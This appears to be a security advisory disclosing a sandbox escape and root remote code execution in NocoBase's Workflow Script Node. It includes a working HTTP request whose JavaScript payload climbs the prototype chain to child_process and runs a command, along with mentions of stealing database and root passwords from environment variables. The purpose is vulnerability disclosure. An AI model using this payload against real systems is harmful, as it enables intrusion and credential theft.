## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
console._stdout.constructor.constructor → host-realm Function constructorFunction('return process')() → Node.js process objectprocess.mainModule.require('child_process') → unrestricted module loadingchild_process.execSync('id') → RCE as rootThis completely bypasses the customRequire allowlist.
DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)require('fs')HTTP Request:
POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
nocobase/nocobase:latestGot reverse shell
<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />Proof of concept the root privileges
<img...
2.0.28Exploitability
AV:NAC:LPR:LUI:NScope
S:CImpact
C:HI:HA:H9.9/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H